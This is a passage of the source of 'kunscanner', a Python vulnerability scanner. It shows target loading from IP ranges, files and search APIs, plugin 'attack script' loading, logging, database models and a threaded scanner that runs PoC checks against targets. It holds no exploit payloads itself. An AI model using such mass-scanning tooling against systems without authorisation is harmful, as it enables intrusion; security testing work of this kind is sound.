MESSAGE_LEVEL.INFO_LEVEL) 60 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL) 61 | msg = OutPutPadding(api_type_msg.format(args.api_type), MESSAGE_LEVEL.INFO_LEVEL) 62 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL) 63 | self.LoadApiTarget() 64 | msg = OutPutPadding(target_number_msg.format(str(len(self.domain_list))), MESSAGE_LEVEL.INFO_LEVEL) 65 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL) 66 | 67 | def LoadSingleTarget(self): 68 | if self.CheckIp(args.url) or self.CheckDomain(args.url): 69 | self.domain_list.append(args.url) 70 | else: 71 | raise ArgsException('The specified target format is incorrect, please re-enter') 72 | 73 | def LoadIpsTarget(self): 74 | if '-' in args.ip_segment: 75 | self.StrToIp(IPS_TYPE.IPS) 76 | elif '/' in args.ip_segment: 77 | self.StrToIp(IPS_TYPE.SUBNETMASK) 78 | else: 79 | raise ArgsException('The entered IP address range is not valid') 80 | 81 | def LoadFileTarget(self): 82 | if os.path.exists(path.START_PATH + '/' + args.target_file) == False: 83 | raise ArgsException('The input scanned target file does not exist') 84 | with open(path.START_PATH + '/' + args.target_file) as f: 85 | data = f.readlines() 86 | for line in data: 87 | line = line.strip() 88 | if line: 89 | if self.CheckIp(line) or self.CheckDomain(line): 90 | self.domain_list.append(line.strip()) 91 | 92 | def LoadApiTarget(self): 93 | if args.api_type == API_TYPE.ZOOMEYE: 94 | api = ZoomeyeApi() 95 | if args.api_type == API_TYPE.BAIDU: 96 | api = BaiduApi() 97 | if args.api_type == API_TYPE.SUBDOMAIN: 98 | api = SubDomainsBruteApi() 99 | try: 100 | self.domain_list = api.Run() 101 | except APIException: 102 | SysQuit() 103 | 104 | def LoadSpiderTarget(self): 105 | manager = multiprocessing.Manager() 106 | self.spider_info = manager.dict() 107 | self.spider_info['spider_status'] = False 108 | self.spider_info['domain_queue_sise'] = 0 109 | self.spider_info['spider_queue_size'] = 0 110 | spider_process = multiprocessing.Process(target=self.StartDomainSpider) 111 | spider_process.start() 112 | 113 | def StartDomainSpider(self): 114 | spider = DomainSpider(args.scanner_mode, args.scan_args,self.domain_queue, self.spider_info) 115 | spider.RunSpider() 116 | 117 | def StrToIp(self, ips_type): 118 | if ips_type == IPS_TYPE.IPS: 119 | ips = args.ip_segment.split('-') 120 | # 192.168.0.1-192.168.0.254 121 | if '.' in ips[1]: 122 | if self.CheckIp(ips[0]) == False or self.CheckIp(ips[1]) == False: 123 | raise ArgsException('The entered IP address range is not valid') 124 | ip1, ip2 = ips[0].split('.'), ips[1].split('.') 125 | for i in range(4): 126 | if ip1[i] == ip2[i]: 127 | continue 128 | if ip1[i] < ip2[i]: 129 | break 130 | if ip1[i] > ip2[i]: 131 | raise ArgsException('The entered IP address range is not valid') 132 | ip_sum = self.Addr2Dec(ips[1]) - self.Addr2Dec(ips[0]) 133 | if ip_sum > int(conf.MAX_IP_COUNT): 134 | raise ArgsException( 135 | 'The number of IP exceeds the maximum limit, the maximum number is {0}'.format( 136 | conf.MAX_IP_COUNT)) 137 | self.domain_list.append(ips[0]) 138 | start_ip, end_ip = ips[0], ips[1] 139 | while (start_ip != end_ip): 140 | start_ip = self.GetNextIp(start_ip) 141 | if start_ip != '': 142 | self.domain_list.append(start_ip) 143 | else: 144 | # 192.168.0.1-254 145 | if self.CheckIp(ips[0]) == False: 146 | raise ArgsException('The entered IP address range is not valid') 147 | ip1 = ips[0].split('.') 148 | if int(ips[1]) < 0 or int(ips[1]) > 255 or int(ip1[3]) > int(ips[1]): 149 | raise ArgsException('The entered IP address range is not valid') 150 | str_ip = str(ip1[0]) + '.' + str(ip1[1]) + '.' + str(ip1[2]) + '.' + "{0}" 151 | for number in range(int(ip1[3]), int(ips[1]) + 1): 152 | self.domain_list.append(str_ip.format(str(number))) 153 | elif ips_type == IPS_TYPE.SUBNETMASK: 154 | try: 155 | domain_tmp_list = IPy.IP(args.ip_segment) 156 | except Exception, e: 157 | raise ArgsException('The entered IP address range is not valid') 158 | for ip in domain_tmp_list: 159 | self.domain_list.append(str(ip)) 160 | 161 | def GetNextIp(self, start_ip): 162 | bits = start_ip.split('.') 163 | i = len(bits) - 1 164 | while (i >= 0): 165 | n = int(bits[i]) 166 | if n >= 255: 167 | bits[i] = '0' 168 | i -= 1 169 | else: 170 | n += 1 171 | bits[i] = str(n) 172 | break 173 | if i == -1: 174 | return '' 175 | ip = '' 176 | for j in range(len(bits)): 177 | if j == len(bits) - 1: 178 | ip += bits[j] 179 | else: 180 | ip += bits[j] + '.' 181 | return ip 182 | 183 | def CheckIp(self, ip): 184 | if not ip.startswith('http'): 185 | ip = 'http://'+ip 186 | up = urlparse.urlparse(ip) 187 | if up.netloc: 188 | if ':' in up.netloc: 189 | ip = up.netloc.split(':')[0] 190 | else: 191 | ip = up.netloc 192 | regex = re.compile(r'^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$') 193 | if regex.match(ip): 194 | return True 195 | else: 196 | return False 197 | 198 | def CheckDomain(self,domain): 199 | if not domain.startswith('http'): 200 | domain = 'http://'+domain 201 | up = urlparse.urlparse(domain) 202 | if up.netloc: 203 | if ':' in up.netloc: 204 | d = up.netloc.split(':')[0] 205 | else: 206 | d = up.netloc 207 | regex = re.compile(r'(?i)^([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,}$') 208 | if regex.match(d): 209 | return True 210 | else: 211 | return False 212 | 213 | def Addr2Dec(self, addr): 214 | items = [int(x) for x in addr.split(".")] 215 | return sum([items[i] << [24, 16, 8, 0][i] for i in range(4)]) 216 | 217 | 218 | class ScriptLoader(): 219 | 220 | def Loader(self): 221 | self.all_script_list = [] 222 | self.script_object_list = [] 223 | self.LoadAllScriptName() 224 | 225 | if args.script_type == SCRIPT_TYPE.ALL_SCRIPT: 226 | self.ShowScriptType('all scrips') 227 | self.LoadAllScripts() 228 | elif args.script_type == SCRIPT_TYPE.CUSTOM_SCRIPT: 229 | self.ShowScriptType('custom scrips') 230 | self.LoadCustomScripts() 231 | 232 | def ShowScriptType(self, script_type): 233 | if args.work_type == WORK_TYPE.SCAN: 234 | if args.scanner_mode == SCANNER_MODE.CONSOLE: 235 | script_type_msg = 'Script type: {0}' 236 | msg = OutPutPadding(script_type_msg.format(script_type), MESSAGE_LEVEL.INFO_LEVEL) 237 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL) 238 | 239 | def LoadAllScriptName(self): 240 | for root, dirs, scripts in os.walk(path.SCRIPTS_PATH): 241 | for script in scripts: 242 | script_info = {} 243 | if '__init__' not in script and 'pyc' not in script and 'py' in script: 244 | script_info['name'] = script.split('.')[0] 245 | script_info['path'] = os.path.join(root, script) 246 | self.all_script_list.append(script_info) 247 | 248 | def LoadDirectoryScriptname(self, directory_name): 249 | script_list = [] 250 | if os.path.exists(path.SCRIPTS_PATH + '/' + directory_name) == False: 251 | raise ArgsException('No specified attack script directory ({0}) was found.'.format(directory_name)) 252 | for root, dirs, scripts in os.walk(path.SCRIPTS_PATH + '/' + directory_name): 253 | for script in scripts: 254 | script_info = {} 255 | ext = script.split('.')[-1] 256 | if '__init__' not in script and ext == 'py': 257 | script_info['name'] = script.split('.')[0] 258 | script_info['path'] = root 259 | script_list.append(script_info) 260 | return script_list 261 | 262 | def GetAllScriptDirectoryName(self): 263 | dirs_list = [] 264 | tmp_dir_names = os.listdir(path.SCRIPTS_PATH) 265 | for d in tmp_dir_names: 266 | p = os.path.join(path.SCRIPTS_PATH, d) 267 | if os.path.isdir(p): 268 | dirs_list.append(p) 269 | dirs_list.append(path.SCRIPTS_PATH) 270 | return dirs_list 271 | 272 | def LoadAllScripts(self): 273 | for script in self.all_script_list: 274 | file, file_path, desc = imp.find_module(script['name'], self.GetAllScriptDirectoryName()) 275 | script_object = imp.load_module(script['name'], file, file_path, desc) 276 | script_dict = {} 277 | script_dict['object'] = script_object 278 | script_dict['name'] = script['name'] 279 | self.script_object_list.append(script_dict) 280 | 281 | 282 | def LoadCustomScripts(self): 283 | args_scripts = [] 284 | if ',' in args.custom_scripts: 285 | args_scripts = args.custom_scripts.split(',') 286 | else: 287 | args_scripts.append(args.custom_scripts) 288 | dirs_list = self.GetAllScriptDirectoryName() 289 | for args_script in args_scripts: 290 | if '*' in args_script: 291 | script_list = self.LoadDirectoryScriptname(args_script.strip('*')) 292 | for script in script_list: 293 | file, file_path, desc = imp.find_module(script['name'], [script['path']]) 294 | script_object = imp.load_module(script['name'], file, file_path, desc) 295 | script_dict = {} 296 | script_dict['object'] = script_object 297 | script_dict['name'] = script['name'] 298 | self.script_object_list.append(script_dict) 299 | else: 300 | try: 301 | file, file_path, desc = imp.find_module(args_script, dirs_list) 302 | except Exception, e: 303 | raise ArgsException('Load script ({0}) fail'.format(args_script)) 304 | if file == None: 305 | raise ArgsException('The specified attack script ({0}) was not found.'.format(args_script)) 306 | script_object = imp.load_module(args_script, file, file_path, desc) 307 | script_dict = {} 308 | script_dict['object'] = script_object 309 | script_dict['name'] = args_script 310 | self.script_object_list.append(script_dict) -------------------------------------------------------------------------------- /kunscanner/lib/core/log.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/3/24 下午3:15 3 | # @author : Xmchx 4 | # @File : log.py 5 | 6 | import os 7 | import coloredlogs 8 | import logging 9 | 10 | 11 | log_file_path = os.path.dirname(os.path.dirname(os.path.dirname(os.path.realpath(__file__))))+'/log/scanner.log' 12 | 13 | console_logger = logging.getLogger('console') 14 | 15 | file_logger = logging.getLogger('file') 16 | 17 | 18 | def SetLogger(): 19 | coloredlogs.DEFAULT_LOG_FORMAT = '[%(levelname)s] %(asctime)s %(message)s' 20 | coloredlogs.DEFAULT_FIELD_STYLES = { 21 | 'levelname': {'color': 'green'}, 22 | 'asctime': {'color': 'white', 'Bright': True} 23 | } 24 | coloredlogs.DEFAULT_LEVEL_STYLES = { 25 | 'info': {'color': 'green'}, 26 | 'error': {'color': 'red'}, 27 | 'warning': {'color': 'yellow'} 28 | } 29 | coloredlogs.install(logger=console_logger) 30 | 31 | file_logger.setLevel(level=logging.INFO) 32 | handler = logging.FileHandler(log_file_path) 33 | handler.setLevel(logging.INFO) 34 | formatter = logging.Formatter('[%(levelname)s] %(asctime)s %(message)s') 35 | handler.setFormatter(formatter) 36 | file_logger.addHandler(handler) 37 | 38 | 39 | class ConsoleLogger: 40 | @staticmethod 41 | def Info(msg): 42 | console_logger.info(msg) 43 | 44 | @staticmethod 45 | def Warning(msg): 46 | console_logger.warning(msg) 47 | 48 | @staticmethod 49 | def Error(msg): 50 | console_logger.error(msg) 51 | 52 | 53 | class FileLogger: 54 | @staticmethod 55 | def Info(msg): 56 | file_logger.info(msg) 57 | 58 | @staticmethod 59 | def Warning(msg): 60 | file_logger.warning(msg) 61 | 62 | @staticmethod 63 | def Error(msg): 64 | file_logger.error(msg) 65 | -------------------------------------------------------------------------------- /kunscanner/lib/core/models.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/3/24 下午6:52 3 | # @author : Xmchx 4 | # @File : models.py 5 | from datetime import datetime 6 | from data import conf, args 7 | import mongoengine 8 | 9 | def ConnectDatabase(): 10 | import socket 11 | sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 12 | try: 13 | sk.connect((conf.MONGO_HOST, int(conf.MONGO_PORT))) 14 | except Exception: 15 | return False 16 | sk.close() 17 | return True 18 | 19 | 20 | if args.use_database == True: 21 | mongoengine.connect('kun',host=conf.MONGO_HOST, port=int(conf.MONGO_PORT)) 22 | 23 | 24 | class Task(mongoengine.Document): 25 | task_id = mongoengine.StringField(required=True, unique=True) 26 | task_name = mongoengine.StringField() 27 | short_target = mongoengine.StringField() 28 | full_target = mongoengine.StringField() 29 | scan_mode = mongoengine.StringField() 30 | target_type = mongoengine.StringField() 31 | script_type = mongoengine.StringField() 32 | target_number = mongoengine.IntField() 33 | script_info = mongoengine.StringField() 34 | start_time = mongoengine.DateTimeField(default=datetime.now) 35 | finish_time = mongoengine.DateTimeField(default=datetime.now) 36 | 37 | class Result(mongoengine.Document): 38 | task_id = mongoengine.StringField(required=True, unique=True) 39 | result = mongoengine.StringField() 40 | high_count = mongoengine.IntField() 41 | medium_count = mongoengine.IntField() 42 | low_count = mongoengine.IntField() 43 | 44 | class Script(mongoengine.Document): 45 | script_id = mongoengine.StringField(required=True, unique=True) 46 | script_name = mongoengine.StringField() 47 | script_info = mongoengine.StringField() 48 | script_author = mongoengine.StringField() 49 | script_update_time = mongoengine.StringField() 50 | script_level = mongoengine.StringField() 51 | script_title = mongoengine.StringField() 52 | 53 | class Status(mongoengine.Document): 54 | task_id = mongoengine.StringField(required = True,unique=True) 55 | task_name = mongoengine.StringField() 56 | warning = mongoengine.StringField() 57 | status = mongoengine.StringField() 58 | progress = mongoengine.StringField() 59 | create_time = mongoengine.DateTimeField(default=datetime.now) 60 | 61 | class Vuln(mongoengine.Document): 62 | task_id = mongoengine.StringField(required=True) 63 | vuln_id = mongoengine.StringField(required=True, unique=True) 64 | target = mongoengine.StringField() 65 | script = mongoengine.StringField() 66 | message = mongoengine.StringField() 67 | script_type = mongoengine.StringField() 68 | create_time = mongoengine.DateTimeField(default=datetime.now) -------------------------------------------------------------------------------- /kunscanner/lib/core/output.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/3/24 下午3:00 3 | # @author : Xmchx 4 | # @File : output.py 5 | 6 | import sys 7 | import time 8 | from data import args, conf, path 9 | from enums import SCANNER_MODE, MESSAGE_LEVEL,SYSTEM_TYPE,LOG_DEFAULT_LEN,SCRIPT_TYPE 10 | from kunscanner.lib.utils.terminalsize import get_terminal_size 11 | from log import ConsoleLogger,FileLogger 12 | from prettytable import PrettyTable 13 | from kunscanner.lib.core.common import Encode 14 | 15 | def InfoOutPut2Console(msg,level = None): 16 | if args.scanner_mode == SCANNER_MODE.WEB: 17 | return 18 | msg = Encode(msg) 19 | if level == None: 20 | print msg 21 | return 22 | width , height = get_terminal_size() 23 | indentation = width - len(msg) 24 | if level == MESSAGE_LEVEL.STATUS_LEVEL: 25 | sys.stdout.write(' '* (indentation-1) + msg+'\r') 26 | sys.stdout.flush() 27 | elif level == MESSAGE_LEVEL.INFO_LEVEL: 28 | ConsoleLogger.Info(msg) 29 | elif level == MESSAGE_LEVEL.WARNING_LEVEL and conf.CONSOLE_WARNING == 'true': 30 | ConsoleLogger.Warning(msg) 31 | elif level == MESSAGE_LEVEL.ERROR_LEVEL: 32 | ConsoleLogger.Error(msg) 33 | 34 | 35 | 36 | def OutPutPadding(msg,level = None): 37 | width , height = get_terminal_size() 38 | if level == MESSAGE_LEVEL.INFO_LEVEL: 39 | if len(msg)+LOG_DEFAULT_LEN.INFO > width: 40 | msg_len = (len(msg)+LOG_DEFAULT_LEN.INFO) % width 41 | else: 42 | msg_len = len(msg) + LOG_DEFAULT_LEN.INFO 43 | if conf.SYSTEM_TYPE == SYSTEM_TYPE.WINDOWS: 44 | padding_num = width-msg_len-1 45 | else: 46 | padding_num = width-msg_len 47 | msg = msg + ' '*padding_num 48 | 49 | if level == MESSAGE_LEVEL.WARNING_LEVEL: 50 | if len(msg)+LOG_DEFAULT_LEN.WARNING > width: 51 | msg_len = (len(msg)+LOG_DEFAULT_LEN.WARNING) % width 52 | else: 53 | msg_len = len(msg) + LOG_DEFAULT_LEN.WARNING 54 | if conf.SYSTEM_TYPE == SYSTEM_TYPE.WINDOWS: 55 | padding_num = width-msg_len-1 56 | else: 57 | padding_num = width-msg_len 58 | msg = msg + ' '*padding_num 59 | 60 | if level == MESSAGE_LEVEL.ERROR_LEVEL: 61 | if len(msg)+LOG_DEFAULT_LEN.ERROR > width: 62 | msg_len = (len(msg)+LOG_DEFAULT_LEN.ERROR) % width 63 | else: 64 | msg_len = len(msg) + LOG_DEFAULT_LEN.ERROR 65 | if conf.SYSTEM_TYPE == SYSTEM_TYPE.WINDOWS: 66 | padding_num = width-msg_len-1 67 | else: 68 | padding_num = width-msg_len 69 | msg = msg+' '*padding_num 70 | return msg 71 | 72 | def WriteLogToFile(msg,level = None): 73 | if conf.SAVE_LOG_TO_FILE == 'true': 74 | if level == MESSAGE_LEVEL.INFO_LEVEL: 75 | FileLogger.Info(msg) 76 | elif level == MESSAGE_LEVEL.WARNING_LEVEL: 77 | FileLogger.Warning(msg) 78 | elif level == MESSAGE_LEVEL.ERROR_LEVEL: 79 | FileLogger.Error(msg) 80 | 81 | 82 | ''' 83 | 扫描任务最终结果的格式 84 | [{ 85 | "target": "127.0.0.1", 86 | "result": [{ 87 | "items": { 88 | "test1": "test1", 89 | "test2": "test2", 90 | "test3": "" 91 | }, 92 | "script_name": "web_info", 93 | "script_type": "info" 94 | }, { 95 | "message": "", 96 | "script_name": "redis_unauth", 97 | "script_type": "attack" 98 | }] 99 | }, { 100 | "target": "127.0.0.2", 101 | "result": [{ 102 | "items": { 103 | "test1": "test1", 104 | "test2": "test2", 105 | "test3": "" 106 | }, 107 | "script_name": "web_info", 108 | "script_type": "info" 109 | }] 110 | }] 111 | ''' 112 | 113 | def OutputFinalResults(data): 114 | if not len(data): 115 | return 116 | id = 0 117 | table = PrettyTable(['id','target', "script", 'type','result']) 118 | table.align = 'l' 119 | for target in data: 120 | for info in target['result']: 121 | if info['script_type'] == 'info': 122 | for key,value in info['items'].items(): 123 | id+=1 124 | table.add_row([str(id), target['target'],info['script_name'],info['script_type'],key+':'+value]) 125 | elif info['script_type'] == 'attack': 126 | id += 1 127 | if info['message']: 128 | table.add_row([str(id), target['target'],info['script_name'],info['script_type'],info['message']]) 129 | else: 130 | table.add_row([str(id), target['target'], info['script_name'], info['script_type'], 131 | 'Vulnerability']) 132 | InfoOutPut2Console('\nThe complete scan results are shown in the following table:') 133 | InfoOutPut2Console(table) 134 | 135 | def WriteResultToFile(data): 136 | if not len(data): 137 | return 138 | result = [] 139 | for target in data: 140 | for info in target['result']: 141 | if info['script_type'] == 'info': 142 | for key,value in info['items'].items(): 143 | result.append(target['target']+'\t'+info['script_name']+'\t'+info['script_type']+'\t'+key+':'+value) 144 | elif info['script_type'] == 'attack': 145 | if info['message']: 146 | result.append(target['target']+'\t'+info['script_name']+'\t'+info['script_type']+'\t'+'Vulnerability'+'\t'+info['message']) 147 | else: 148 | result.append(target['target'] + '\t' + info['script_name'] + '\t' + info[ 149 | 'script_type']) 150 | if args.output_file_name: 151 | file_name = args.output_file_name 152 | else: 153 | file_name = time.strftime("%Y_%m_%d_%H_%M_%S", time.localtime()) 154 | rf = open(path.RESULT_PATH + file_name, 'w') 155 | for line in result: 156 | rf.writelines(line+'\n') 157 | rf.close() 158 | InfoOutPut2Console('\nScan results are saved in file: '+path.RESULT_PATH + file_name) 159 | 160 | def OutputScriptInfo(data): 161 | if args.script_type == SCRIPT_TYPE.CUSTOM_SCRIPT: 162 | table = PrettyTable(encoding=sys.stdout.encoding) 163 | for script in data: 164 | for key,value in script['object'].Info().items(): 165 | table.add_column(key,[value]) 166 | elif args.script_type == SCRIPT_TYPE.ALL_SCRIPT: 167 | table = PrettyTable(["name", "info","author","time","type","level"],encoding=sys.stdout.encoding) 168 | for script in data: 169 | info = script['object'].Info() 170 | table.add_row([info['name'],info['info'],info['author'], 171 | info['time'],info['type'],info['level']]) 172 | InfoOutPut2Console(table) 173 | 174 | def OutPutSearchScriptInfo(data): 175 | is_exit = False 176 | table = PrettyTable(["name", "info", "author", "time", "type", "level"]) 177 | for script in data: 178 | info = script['object'].Info() 179 | if args.search_script in info['name'] or args.search_script in info['info']: 180 | is_exit = True 181 | table.add_row([info['name'], info['info'], info['author'], 182 | info['time'], info['type'], info['level']]) 183 | if is_exit: 184 | InfoOutPut2Console(table) 185 | else: 186 | InfoOutPut2Console('No matching Poc found', MESSAGE_LEVEL.INFO_LEVEL) 187 | 188 | 189 | 190 | 191 | -------------------------------------------------------------------------------- /kunscanner/lib/core/scanner.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/3/25 上午1:28 3 | # @author : Xmchx 4 | # @File : scanner.py 5 | 6 | import sys 7 | import Queue 8 | import threading 9 | import urlparse 10 | from enums import TARGET_TYPE, MESSAGE_LEVEL,STATUS,SCRIPT_LEVEL 11 | from data import args, conf 12 | from output import OutPutPadding,InfoOutPut2Console,OutputFinalResults, WriteResultToFile 13 | from exception import PocWarningException, PocErrorException 14 | if args.use_database: 15 | from database import SaveResultToDatabase, SaveProgressToDatabase,SaveStatusToDatabase 16 | from kunscanner.lib.core.common import SysQuit 17 | from kunscanner.lib.utils.terminalsize import get_terminal_size 18 | 19 | width , height = get_terminal_size() 20 | 21 | 22 | class Scanner(): 23 | def __init__(self, target_loader, script_loader): 24 | self.target_loader = target_loader 25 | self.script_loader = script_loader 26 | self.script_object_list = script_loader.script_object_list 27 | self.scanner_status = False 28 | self.lock = threading.Lock() 29 | self.thread_list = [] 30 | self.scan_number = 0 31 | self.error_msg = "Warning in scanner! target: {0} poc: {1} msg: {2}" 32 | self.success_number = 0 33 | self.scan_result = [] 34 | self.all_size = 0 35 | self.high_count = 0 36 | self.medium_count = 0 37 | self.low_count = 0 38 | self.spider_target_list = [] 39 | 40 | def Run(self): 41 | if args.scan_type == TARGET_TYPE.SPIDER: 42 | self.domain_queue = self.target_loader.domain_queue 43 | self.spider_info = self.target_loader.spider_info 44 | self.scanner_status = True 45 | for thread_id in range(int(conf.SCANNER_THREAD)): 46 | t = threading.Thread(target=self.SpiderScanner, args=(thread_id,)) 47 | t.start() 48 | self.thread_list.append(t) 49 | for t in self.thread_list: 50 | t.join() 51 | else: 52 | self.domain_list = self.target_loader.domain_list 53 | self.scan_queue = Queue.Queue() 54 | self.CompositeScanQueue() 55 | self.scanner_status = True 56 | for thread_id in range(int(conf.SCANNER_THREAD)): 57 | t = threading.Thread(target=self.CommonScanner, args=(thread_id,)) 58 | t.start() 59 | self.thread_list.append(t) 60 | for t in self.thread_list: 61 | t.join() 62 | message = 'Attack success number: {0}' 63 | msg = OutPutPadding(message.format(str(self.success_number)), MESSAGE_LEVEL.INFO_LEVEL) 64 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL) 65 | OutputFinalResults(self.scan_result) 66 | WriteResultToFile(self.scan_result) 67 | if args.use_database: 68 | data = {} 69 | data['high_count'] = self.high_count 70 | data['medium_count'] = self.medium_count 71 | data['low_count'] = self.low_count 72 | data['result'] = self.scan_result 73 | SaveResultToDatabase(data) 74 | SaveProgressToDatabase('100') 75 | SaveStatusToDatabase(STATUS.FINISH) 76 | 77 | 78 | def SpiderScanner(self,thread_id): 79 | while True: 80 | if self.scanner_status == True: 81 | script_object_list = self.script_object_list 82 | info = {} 83 | try: 84 | target = self.domain_queue.get(timeout=int(conf.QUEUE_TIMEOUT)) 85 | except Exception: 86 | if self.spider_info['spider_status'] == False and self.scan_number >= \ 87 | self.spider_info['domain_queue_sise']: 88 | self.lock.acquire() 89 | self.scanner_status = False 90 | self.lock.release() 91 | break 92 | else: 93 | continue 94 | self.lock.acquire() 95 | self.spider_target_list.append(target) 96 | self.lock.release() 97 | for script in script_object_list: 98 | self.lock.acquire() 99 | self.scan_number = self.scan_number + 1 100 | self.lock.release() 101 | self.OutPutStatus(target, script['name'],thread_id) 102 | try: 103 | result = script['object'].Poc(target) 104 | except PocWarningException: 105 | continue 106 | except PocErrorException: 107 | SysQuit(1) 108 | info['target'] = target 109 | info['script_name'] = script['name'] 110 | info['object'] = script['object'] 111 | self.ScanResultHandler(info, result) 112 | else: 113 | break 114 | 115 | def CommonScanner(self, thread_id): 116 | while True: 117 | if self.scan_queue.qsize() > 0 or self.scanner_status == True: 118 | try: 119 | info = self.scan_queue.get(timeout=int(conf.QUEUE_TIMEOUT)) 120 | except Exception: 121 | self.lock.acquire() 122 | self.scanner_status = False 123 | self.lock.release() 124 | break 125 | self.lock.acquire() 126 | self.scan_number = self.scan_number + 1 127 | self.lock.release() 128 | self.OutPutStatus(info['target'], info['script_name'],thread_id) 129 | if self.scan_number % 20 == 0: 130 | self.UpdateScanProgress() 131 | try: 132 | result = info['object'].Poc(info['target']) 133 | except PocWarningException: 134 | continue 135 | except PocErrorException: 136 | SysQuit(1) 137 | self.ScanResultHandler(info, result) 138 | else: 139 | self.lock.acquire() 140 | self.scanner_status = False 141 | self.lock.release() 142 | sys.exit() 143 | 144 | def CompositeScanQueue(self): 145 | for target in self.domain_list: 146 | for script in self.script_object_list: 147 | self.scan_info_dict = {} 148 | self.scan_info_dict['target'] = target 149 | self.scan_info_dict['script_name'] = script['name'] 150 | self.scan_info_dict['object'] = script['object'] 151 | self.scan_queue.put(self.scan_info_dict) 152 | self.all_size = self.scan_queue.qsize() 153 | 154 | def UpdateScanProgress(self): 155 | self.lock.acquire() 156 | SaveProgressToDatabase("%.2f" %(float(self.scan_number) / float(self.all_size) * 100)) 157 | self.lock.release() 158 | 159 | 160 | def OutPutStatus(self, target, script,thread): 161 | if target.startswith('http'): 162 | domain_parse = urlparse.urlparse(target) 163 | domain = domain_parse.scheme+'://'+domain_parse.netloc+'/' 164 | else: 165 | domain = target 166 | if len(domain) > int(width/2): 167 | domain = domain[:int(width/2)] 168 | msg = 'TARGET: ' + domain + ' SCRIPT: ' + script + ' THREAD_ID: '+str(thread)+' FINISH: ' + str(self.scan_number) 169 | self.lock.acquire() 170 | InfoOutPut2Console(msg, MESSAGE_LEVEL.STATUS_LEVEL) 171 | self.lock.release() 172 | 173 | def OutPutSuccessInfo(self,data): 174 | if data['type'] == 'attack': 175 | if data['result']['message'] == '': 176 | msg = 'FOUND! target: ' + data['target'] + ' script: ' + data['script'] 177 | else: 178 | msg = 'FOUND! target: ' + data['target'] + ' script: ' + data['script'] + ' message: ' + \ 179 | data['result']['message'] 180 | # if data['type'] == 'info': 181 | # for key,value in data['result'].items(): 182 | # if value: 183 | # msg_list.append('[+] '+'target: ' + data['target'] + ' script: ' + data['script']+' ' 184 | # +str(key)+': '+str(value)) 185 | # else: 186 | # msg_list.append('[+] '+'target: ' + data['target'] + ' script: ' + data['script']+' ' 187 | # +str(key)+': '+'unknown') 188 | msg = OutPutPadding(msg, MESSAGE_LEVEL.INFO_LEVEL) 189 | self.lock.acquire() 190 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL) 191 | self.lock.release() 192 | 193 | def StatisticalSuccessNumber(self): 194 | self.lock.acquire() 195 | self.success_number += 1 196 | self.lock.release() 197 | 198 | 199 | def ResultFormat(self,data): 200 | is_exist = False 201 | result_dict_tmp = {} 202 | self.lock.acquire() 203 | for each in self.scan_result: 204 | if each['target'] == data['target']: 205 | single_script_result_dict = {} 206 | if data['type'] == 'attack': 207 | single_script_result_dict['script_name'] = data['script'] 208 | single_script_result_dict['script_type'] = 'attack' 209 | single_script_result_dict['message'] = data['result']['message'] 210 | elif data['type'] == 'info': 211 | single_script_result_dict['script_name'] = data['script'] 212 | single_script_result_dict['script_type'] = 'info' 213 | single_script_result_dict['items'] = data['result'] 214 | each['result'].append(single_script_result_dict) 215 | is_exist = True 216 | break 217 | self.lock.release() 218 | if is_exist == False: 219 | result_dict_tmp['target'] = data['target'] 220 | result_dict_tmp['result'] = [] 221 | single_script_result_dict = {} 222 | if data['type'] == 'attack': 223 | single_script_result_dict['script_name'] = data['script'] 224 | single_script_result_dict['script_type'] = 'attack' 225 | single_script_result_dict['message'] = data['result']['message'] 226 | elif data['type'] == 'info': 227 | single_script_result_dict['script_name'] = data['script'] 228 | single_script_result_dict['script_type'] = 'info' 229 | single_script_result_dict['items'] = data['result'] 230 | result_dict_tmp['result'].append(single_script_result_dict) 231 | self.scan_result.append(result_dict_tmp) 232 | 233 | 234 | 235 | 236 | def ScanResultHandler(self, info, result): 237 | data = {} 238 | if info['target'].startswith('http'): 239 | target = info['target'] 240 | else: 241 | target = 'http://'+info['target'] 242 | domain_parse = urlparse.urlparse(target) 243 | domain = domain_parse.netloc 244 | if info['object'].Info()['type'] == 'info' and len(result): 245 | data['target'] = domain 246 | data['result'] = result 247 | data['script'] = info['script_name'] 248 | data['type'] = 'info' 249 | elif info['object'].Info()['type'] == 'attack': 250 | if result['success'] == True: 251 | self.StatisticalSuccessNumber() 252 | data['target'] = domain 253 | data['result'] = result 254 | data['script'] = info['script_name'] 255 | data['type'] = 'attack' 256 | data['level'] = info['object'].Info()['level'] 257 | self.Statistics(data['level']) 258 | else: 259 | return 260 | else: 261 | return 262 | self.OutPutSuccessInfo(data) 263 | self.ResultFormat(data) 264 | 265 | 266 | def Statistics(self,level): 267 | if level == SCRIPT_LEVEL.HIGH: 268 | self.lock.acquire() 269 | self.high_count += 1 270 | self.lock.release() 271 | elif level == SCRIPT_LEVEL.MEDIUM: 272 | self.lock.acquire() 273 | self.medium_count += 1 274 | self.lock.release() 275 | elif level == SCRIPT_LEVEL.LOW: 276 | self.lock.acquire() 277 | self.low_count += 1 278 | self.lock.release() -------------------------------------------------------------------------------- /kunscanner/lib/core/spider.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/3/24 下午10:02 3 | # @author : Xmchx 4 | # @File : spider.py 5 | 6 | import sys 7 | import Queue 8 | import re 9 | import threading 10 | import urlparse 11 | import tldextract 12 | import requests 13 | 14 | from common import GetSystemType 15 | from data import args, conf, path 16 | from enums import EXCEPYION_POSITION, MESSAGE_LEVEL, SPIDER_TYPE, SYSTEM_TYPE, SCANNER_MODE 17 | from exception import RequestsException 18 | from kunscanner.lib.parse.cmdline import CmdLineParser 19 | from log import 